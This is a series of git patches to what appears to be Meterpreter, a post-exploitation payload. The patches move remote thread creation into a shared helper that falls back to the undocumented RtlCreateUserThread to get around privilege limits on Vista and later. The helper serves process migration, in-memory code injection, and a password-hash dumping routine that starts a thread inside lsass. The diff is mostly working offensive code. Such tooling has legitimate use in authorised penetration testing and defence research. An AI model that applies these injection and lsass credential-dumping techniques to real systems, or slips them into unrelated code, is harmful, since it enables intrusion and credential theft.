From 9b0aa962cb5660378b8364213c2485029fc767df Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 24 Jan 2014 21:53:50 +1000 Subject: [PATCH 1/4] Force "warnings as errors" in stdapi This should have been done ages ago, not sure why I need to do it again. --- workspace/ext_server_stdapi/ext_server_stdapi.vcxproj | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj b/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj index 4a1ac84..532fbe4 100644 --- a/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj +++ b/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj @@ -166,6 +166,7 @@ Size precomp.h true + true _DEBUG;%(PreprocessorDefinitions) @@ -227,6 +228,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho Size precomp.h true + true _DEBUG;%(PreprocessorDefinitions) @@ -400,6 +402,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho Size precomp.h true + true NDEBUG;%(PreprocessorDefinitions) @@ -461,6 +464,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho Size precomp.h true + true NDEBUG;%(PreprocessorDefinitions) From e64f21e93efb09d9f690bfea3465d0ad091266f2 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 24 Jan 2014 23:11:47 +1000 Subject: [PATCH 2/4] Updated other uses of CreateRemoteThread Make use of the new create_remote_thread function so that it is used by other areas of the code, including migration. --- source/common/arch/win/i386/base_inject.c | 56 ++++++------ source/common/arch/win/remote_thread.c | 85 +++++++++++++++++++ source/common/arch/win/remote_thread.h | 6 ++ source/common/common.h | 2 +- source/extensions/priv/server/passwd.c | 73 +--------------- source/extensions/priv/server/precomp.h | 1 + .../stdapi/server/sys/process/thread.c | 5 +- .../stdapi/server/sys/process/util.c | 36 ++++---- workspace/common/common.vcxproj | 4 +- 9 files changed, 148 insertions(+), 120 deletions(-) create mode 100644 source/common/arch/win/remote_thread.c create mode 100644 source/common/arch/win/remote_thread.h diff --git a/source/common/arch/win/i386/base_inject.c b/source/common/arch/win/i386/base_inject.c index b6e14e4..12aadf5 100644 --- a/source/common/arch/win/i386/base_inject.c +++ b/source/common/arch/win/i386/base_inject.c @@ -1,5 +1,6 @@ #include "common.h" #include "base_inject.h" +#include "../remote_thread.h" #include "./../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" #include @@ -420,59 +421,64 @@ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPV /* * Attempte to gain code execution in the remote process by creating a remote thread in the target process. */ -DWORD inject_via_remotethread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) +DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) { - DWORD dwResult = ERROR_SUCCESS; + DWORD dwResult = ERROR_SUCCESS; DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD; - HANDLE hThread = NULL; - DWORD dwThreadId = 0; + HANDLE hThread = NULL; do { // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread // fails, giving us a chance to try an alternative method or fail migration gracefully. - hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId ); - if( !hThread ) + hThread = create_remote_thread(hProcess, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL); + if (!hThread) { - if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 ) + if (dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64) { - // injecting x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here). - dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64; - if( inject_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed" ) + if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS) + { + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed") + } } else { - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: CreateRemoteThread failed" ) + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed") } } + else + { + dprintf("[INJECT] inject_via_remotethread: succeeded"); + } - if( remote && response ) + if (remote && response) { - dprintf("[INJECT] inject_via_remotethread: Sending a migrate response..." ); + dprintf("[INJECT] inject_via_remotethread: Sending a migrate response..."); // Send a successful response to let the ruby side know that we've pretty // much successfully migrated and have reached the point of no return - packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique ); - packet_transmit_response( ERROR_SUCCESS, remote, response ); + packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique); + packet_transmit_response(ERROR_SUCCESS, remote, response); - dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..." ); + dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..."); // Sleep to give the remote side a chance to catch up... - Sleep( 2000 ); + Sleep(2000); } - dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..." ); + dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..."); // Resume the injected thread... - if( ResumeThread( hThread ) == (DWORD)-1 ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: ResumeThread failed" ) + if (ResumeThread(hThread) == (DWORD)-1) + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed") - } while( 0 ); + } while (0); - if( hThread ) - CloseHandle( hThread ); + if (hThread) + { + CloseHandle(hThread); + } - SetLastError( dwResult ); + SetLastError(dwResult); return dwResult; } diff --git a/source/common/arch/win/remote_thread.c b/source/common/arch/win/remote_thread.c new file mode 100644 index 0000000..b7e6998 --- /dev/null +++ b/source/common/arch/win/remote_thread.c @@ -0,0 +1,85 @@ +#include "common.h" +#include "remote_thread.h" + +/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */ +typedef struct _MIMI_CLIENT_ID { + PVOID UniqueProcess; + PVOID UniqueThread; +} CLIENTID; + +/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */ +typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*); +/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */ +static PRtlCreateUserThread pRtlCreateUserThread = NULL; +/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */ +static BOOL pRtlCreateUserThreadAttempted = FALSE; + +/*! + * @brief Helper function for creating a remote thread in a privileged process. + * @param hProcess Handle to the target processj. + * @param pvStartAddress Pointer to the function entry point that has been loaded into the target. + * @param pvStartParam Pointer to the parameter to pass to the thread function. + * @param dwCreateFlags Creation flags to use when creating the new thread. + * @param pdwThreadId Pointer to the buffer that will receive the thread ID (optional). + * @return Handle to the new thread. + * @retval NULL Indicates an error, which can be retrieved with \c GetLastError(). + * @remark This function has been put in place to wrap up the handling of creating remote threads + * in privileged processes across all operating systems. In Windows XP and earlier, the + * \c CreateRemoteThread() function was sufficient to handle this case, however this changed + * in Vista and has been that way since. For Vista onwards, the use of the hidden API function + * \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread() + * first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the + * existing behaviour is kept for when running on XP and earlier, or when the user is already + * running within a privileged process. + */ +HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId) +{ + NTSTATUS ntResult; + BOOL bCreateSuspended; + HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId); + + // ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs + // on Vista and later. + if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY) + { + dprintf("[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options"); + hThread = NULL; + + // Only attempt to load the function pointer if we haven't attempted it already. + if (!pRtlCreateUserThreadAttempted) + { + if (pRtlCreateUserThread == NULL) + { + pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"); + if (pRtlCreateUserThread) + { + dprintf("[REMOTETHREAD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread); + } + } + pRtlCreateUserThreadAttempted = TRUE; + } + + // if at this point we don't have a valid pointer, it means that we don't have this function available + // on the current OS + if (pRtlCreateUserThread) + { + dprintf("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread"); + bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED; + ntResult = pRtlCreateUserThread(hProcess, NULL, bCreateSuspended, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL); + SetLastError(ntResult); + + if (ntResult == 0 && pdwThreadId) + { + *pdwThreadId = GetThreadId(hThread); + } + } + else + { + // restore the previous error so that it looks like we haven't done anything else + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + } + } + + return hThread; +} + diff --git a/source/common/arch/win/remote_thread.h b/source/common/arch/win/remote_thread.h new file mode 100644 index 0000000..2aeeb36 --- /dev/null +++ b/source/common/arch/win/remote_thread.h @@ -0,0 +1,6 @@ +#ifndef _METERPRETER_REMOTE_THREAD_H +#define _METERPRETER_REMOTE_THREAD_H + +HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId); + +#endif \ No newline at end of file diff --git a/source/common/common.h b/source/common/common.h index 697737b..64495bf 100644 --- a/source/common/common.h +++ b/source/common/common.h @@ -162,7 +162,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format, #include /*! @brief When defined, debug output is enabled on Windows builds. */ -//#define DEBUGTRACE 1 +#define DEBUGTRACE 1 #ifdef DEBUGTRACE #define dprintf(...) real_dprintf(__VA_ARGS__) diff --git a/source/extensions/priv/server/passwd.c b/source/extensions/priv/server/passwd.c index 1846949..cc0a158 100644 --- a/source/extensions/priv/server/passwd.c +++ b/source/extensions/priv/server/passwd.c @@ -138,77 +138,6 @@ typedef void *(*MemcpyType)(void *, const void *, size_t); /* define types for ntdll */ typedef size_t (*WcstombsType)(char *, const wchar_t *, size_t); -/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */ -typedef struct _MIMI_CLIENT_ID { - PVOID UniqueProcess; - PVOID UniqueThread; -} CLIENTID; - -/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */ -typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, char, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*); -/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */ -static PRtlCreateUserThread pRtlCreateUserThread = NULL; -/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */ -static BOOL pRtlCreateUserThreadAttempted = FALSE; - -/*! - * @brief Helper function for creating a remote thread in a privileged process. - * @param hProcess Handle to the target processj. - * @param pvStartAddress Pointer to the function entry point that has been loaded into the target. - * @param pvStartParam Pointer to the parameter to pass to the thread function. - * @return Handle to the new thread. - * @retval NULL Indicates an error, which can be retrieved with \c GetLastError(). - * @remark This function has been put in place to wrap up the handling of creating remote threads - * in privileged processes across all operating systems. In Windows XP and earlier, the - * \c CreateRemoteThread() function was sufficient to handle this case, however this changed - * in Vista and has been that way since. For Vista onwards, the use of the hidden API function - * \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread() - * first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the - * existing behaviour is kept for when running on XP and earlier, or when the user is already - * running within a privileged process. - */ -HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam) -{ - HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, 0, NULL); - - // ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs - // on Vista and later. - if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY) - { - dprintf("[PASSWD] CreateRemoteThread seems to lack permissions, trying alternative options"); - hThread = NULL; - - // Only attempt to load the function pointer if we haven't attempted it already. - if (!pRtlCreateUserThreadAttempted) - { - if (pRtlCreateUserThread == NULL) - { - pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"); - if (pRtlCreateUserThread) - { - dprintf("[PASSWD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread); - } - } - pRtlCreateUserThreadAttempted = TRUE; - } - - // if at this point we don't have a valid pointer, it means that we don't have this function available - // on the current OS - if (pRtlCreateUserThread) - { - dprintf("[PASSWD] Attempting thread creation with RtlCreateUserThread"); - SetLastError(pRtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL)); - } - else - { - // restore the previous error so that it looks like we haven't done anything else - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - } - } - - return hThread; -} - char *string_combine(char *string1, char *string2) { size_t s1len, s2len; @@ -846,7 +775,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul sBytesWritten = 0; /* start the remote thread */ - if ((hThreadHandle = create_remote_thread(hLsassHandle, pvFunctionMemory, pvParameterMemory)) == NULL) + if ((hThreadHandle = create_remote_thread(hLsassHandle, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL) { dwError = GetLastError(); dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError); diff --git a/source/extensions/priv/server/precomp.h b/source/extensions/priv/server/precomp.h index 812abaa..f6e7534 100644 --- a/source/extensions/priv/server/precomp.h +++ b/source/extensions/priv/server/precomp.h @@ -6,6 +6,7 @@ #include "./elevate/elevate.h" #include "passwd.h" #include "fs.h" +#include "../../../common//arch/win/remote_thread.h" #include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h" #include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" diff --git a/source/extensions/stdapi/server/sys/process/thread.c b/source/extensions/stdapi/server/sys/process/thread.c index 5380044..ae17474 100644 --- a/source/extensions/stdapi/server/sys/process/thread.c +++ b/source/extensions/stdapi/server/sys/process/thread.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "../../../../../common/arch/win/remote_thread.h" ULONG get_thread_register_value(LPCONTEXT context, LPCSTR name, DWORD size); @@ -89,9 +90,7 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) } // Create the thread in the process supplied - if (!(thread = CreateRemoteThread(process, NULL, 0, - (LPTHREAD_START_ROUTINE)entryPoint, entryParam, createFlags, - &threadId))) + if (!(thread = create_remote_thread(process, entryPoint, entryParam, createFlags, &threadId))) { result = GetLastError(); break; diff --git a/source/extensions/stdapi/server/sys/process/util.c b/source/extensions/stdapi/server/sys/process/util.c index 1948fe6..0efc0ff 100644 --- a/source/extensions/stdapi/server/sys/process/util.c +++ b/source/extensions/stdapi/server/sys/process/util.c @@ -1,7 +1,8 @@ #include "precomp.h" +#include "../../../../../common/arch/win/remote_thread.h" DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate, - LPVOID *buffer, DWORD length, DWORD prot); + LPVOID *buffer, DWORD length, DWORD prot); /* * Executes a portion of code in the address space of the supplied process @@ -10,7 +11,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate, * FIXME: can-block */ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length, - LPVOID parameter, DWORD parameterLength, LPDWORD rv) + LPVOID parameter, DWORD parameterLength, LPDWORD rv) { HANDLE thread = NULL; LPVOID paramInProcess = (LPVOID)parameter; @@ -23,25 +24,26 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length, { // Copy the code and parameter storage if ((result = copy_memory_to_process(process, TRUE, &codeInProcess, - length, PAGE_EXECUTE_READ)) != ERROR_SUCCESS) + length, PAGE_EXECUTE_READ)) != ERROR_SUCCESS) + { break; + } if ((result = copy_memory_to_process(process, TRUE, ¶mInProcess, - parameterLength, PAGE_EXECUTE_READWRITE)) != ERROR_SUCCESS) + parameterLength, PAGE_EXECUTE_READWRITE)) != ERROR_SUCCESS) + { break; + } // Create the thread in the target process - if (!(thread = CreateRemoteThread(process, NULL, 0, - (LPTHREAD_START_ROUTINE)codeInProcess, paramInProcess, - 0, &threadId))) + if (!(thread = create_remote_thread(process, codeInProcess, paramInProcess, 0, &threadId))) { result = GetLastError(); break; } // Wait for the thread to terminate - while ((wait = WaitForSingleObjectEx(thread, 1000, - TRUE)) != WAIT_OBJECT_0) + while ((wait = WaitForSingleObjectEx(thread, 1000, TRUE)) != WAIT_OBJECT_0) { if (wait == WAIT_FAILED) { @@ -51,7 +53,9 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length, } if (rv) + { GetExitCodeThread(thread, rv); + } // Free the memory in the process if ((!VirtualFreeEx(process, codeInProcess, 0, MEM_RELEASE)) || @@ -60,13 +64,13 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length, result = GetLastError(); break; } - - } while (0); // Close the thread handle if one was obtained if (thread) + { CloseHandle(thread); + } return result; } @@ -86,8 +90,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate, if (allocate) { // Allocate storage for the buffer - if (!(remoteBuffer = VirtualAllocEx(process, NULL, - length, MEM_COMMIT, PAGE_EXECUTE_READWRITE))) + if (!(remoteBuffer = VirtualAllocEx(process, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE))) { result = GetLastError(); break; @@ -95,8 +98,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate, } // Copy the memory from local to remote - if (!WriteProcessMemory(process, remoteBuffer, - *buffer, length, &written)) + if (!WriteProcessMemory(process, remoteBuffer, *buffer, length, &written)) { result = GetLastError(); break; @@ -107,14 +109,12 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate, { DWORD old; - if (!VirtualProtectEx(process, remoteBuffer, length, - prot, &old)) + if (!VirtualProtectEx(process, remoteBuffer, length, prot, &old)) { result = GetLastError(); break; } } - } while (0); // Update the buffer pointer diff --git a/workspace/common/common.vcxproj b/workspace/common/common.vcxproj index f76a5b8..0945625 100644 --- a/workspace/common/common.vcxproj +++ b/workspace/common/common.vcxproj @@ -446,6 +446,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho + @@ -465,6 +466,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho + @@ -491,4 +493,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho - + \ No newline at end of file From 15d6609594ab43198a4eb498cd1e2c15b9d57b8e Mon Sep 17 00:00:00 2001 From: OJ Date: Sun, 26 Jan 2014 08:13:28 +1000 Subject: [PATCH 3/4] Comment out debug tracing --- source/common/common.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/common/common.h b/source/common/common.h index 64495bf..697737b 100644 --- a/source/common/common.h +++ b/source/common/common.h @@ -162,7 +162,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format, #include /*! @brief When defined, debug output is enabled on Windows builds. */ -#define DEBUGTRACE 1 +//#define DEBUGTRACE 1 #ifdef DEBUGTRACE #define dprintf(...) real_dprintf(__VA_ARGS__) From 84556e258bfca2d705803992ed1af57b16851d50 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 12 Feb 2014 13:27:41 +1000 Subject: [PATCH 4/4] Reinstate stack size parameter Previous commits removed the stack size parameter from the remote thread creation function call. This caused issues in systems prior to Vista/2k8. This fix puts that value back in and now everything is honky dory. Tested on 2k/XP/2k3/Vista/7/2k8 --- source/common/arch/win/i386/base_inject.c | 4 +++- source/common/arch/win/remote_thread.c | 15 ++++++++++++--- source/common/arch/win/remote_thread.h | 2 +- source/extensions/priv/server/passwd.c | 2 +- .../extensions/stdapi/server/sys/process/thread.c | 2 +- .../extensions/stdapi/server/sys/process/util.c | 2 +- 6 files changed, 19 insertions(+), 8 deletions(-) diff --git a/source/common/arch/win/i386/base_inject.c b/source/common/arch/win/i386/base_inject.c index 12aadf5..4a8d67b 100644 --- a/source/common/arch/win/i386/base_inject.c +++ b/source/common/arch/win/i386/base_inject.c @@ -431,7 +431,7 @@ DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProces { // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread // fails, giving us a chance to try an alternative method or fail migration gracefully. - hThread = create_remote_thread(hProcess, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL); + hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL); if (!hThread) { if (dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64) @@ -469,7 +469,9 @@ DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProces dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..."); // Resume the injected thread... if (ResumeThread(hThread) == (DWORD)-1) + { BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed") + } } while (0); diff --git a/source/common/arch/win/remote_thread.c b/source/common/arch/win/remote_thread.c index b7e6998..76ea442 100644 --- a/source/common/arch/win/remote_thread.c +++ b/source/common/arch/win/remote_thread.c @@ -16,7 +16,8 @@ static BOOL pRtlCreateUserThreadAttempted = FALSE; /*! * @brief Helper function for creating a remote thread in a privileged process. - * @param hProcess Handle to the target processj. + * @param hProcess Handle to the target process. + * @param sStackSize Size of the stack to use (if unsure, specify 0). * @param pvStartAddress Pointer to the function entry point that has been loaded into the target. * @param pvStartParam Pointer to the parameter to pass to the thread function. * @param dwCreateFlags Creation flags to use when creating the new thread. @@ -32,11 +33,19 @@ static BOOL pRtlCreateUserThreadAttempted = FALSE; * existing behaviour is kept for when running on XP and earlier, or when the user is already * running within a privileged process. */ -HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId) +HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId) { NTSTATUS ntResult; BOOL bCreateSuspended; - HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId); + DWORD dwThreadId; + HANDLE hThread; + + if (pdwThreadId == NULL) + { + pdwThreadId = &dwThreadId; + } + + hThread = CreateRemoteThread(hProcess, NULL, sStackSize, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId); // ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs // on Vista and later. diff --git a/source/common/arch/win/remote_thread.h b/source/common/arch/win/remote_thread.h index 2aeeb36..a2baa49 100644 --- a/source/common/arch/win/remote_thread.h +++ b/source/common/arch/win/remote_thread.h @@ -1,6 +1,6 @@ #ifndef _METERPRETER_REMOTE_THREAD_H #define _METERPRETER_REMOTE_THREAD_H -HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId); +HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId); #endif \ No newline at end of file diff --git a/source/extensions/priv/server/passwd.c b/source/extensions/priv/server/passwd.c index cc0a158..00498b8 100644 --- a/source/extensions/priv/server/passwd.c +++ b/source/extensions/priv/server/passwd.c @@ -775,7 +775,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul sBytesWritten = 0; /* start the remote thread */ - if ((hThreadHandle = create_remote_thread(hLsassHandle, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL) + if ((hThreadHandle = create_remote_thread(hLsassHandle, 0, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL) { dwError = GetLastError(); dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError); diff --git a/source/extensions/stdapi/server/sys/process/thread.c b/source/extensions/stdapi/server/sys/process/thread.c index ae17474..73f0ccc 100644 --- a/source/extensions/stdapi/server/sys/process/thread.c +++ b/source/extensions/stdapi/server/sys/process/thread.c @@ -90,7 +90,7 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) } // Create the thread in the process supplied - if (!(thread = create_remote_thread(process, entryPoint, entryParam, createFlags, &threadId))) + if (!(thread = create_remote_thread(process, 0, entryPoint, entryParam, createFlags, &threadId))) { result = GetLastError(); break; diff --git a/source/extensions/stdapi/server/sys/process/util.c b/source/extensions/stdapi/server/sys/process/util.c index 0efc0ff..01da4f7 100644 --- a/source/extensions/stdapi/server/sys/process/util.c +++ b/source/extensions/stdapi/server/sys/process/util.c @@ -36,7 +36,7 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length, } // Create the thread in the target process - if (!(thread = create_remote_thread(process, codeInProcess, paramInProcess, 0, &threadId))) + if (!(thread = create_remote_thread(process, 0, codeInProcess, paramInProcess, 0, &threadId))) { result = GetLastError(); break;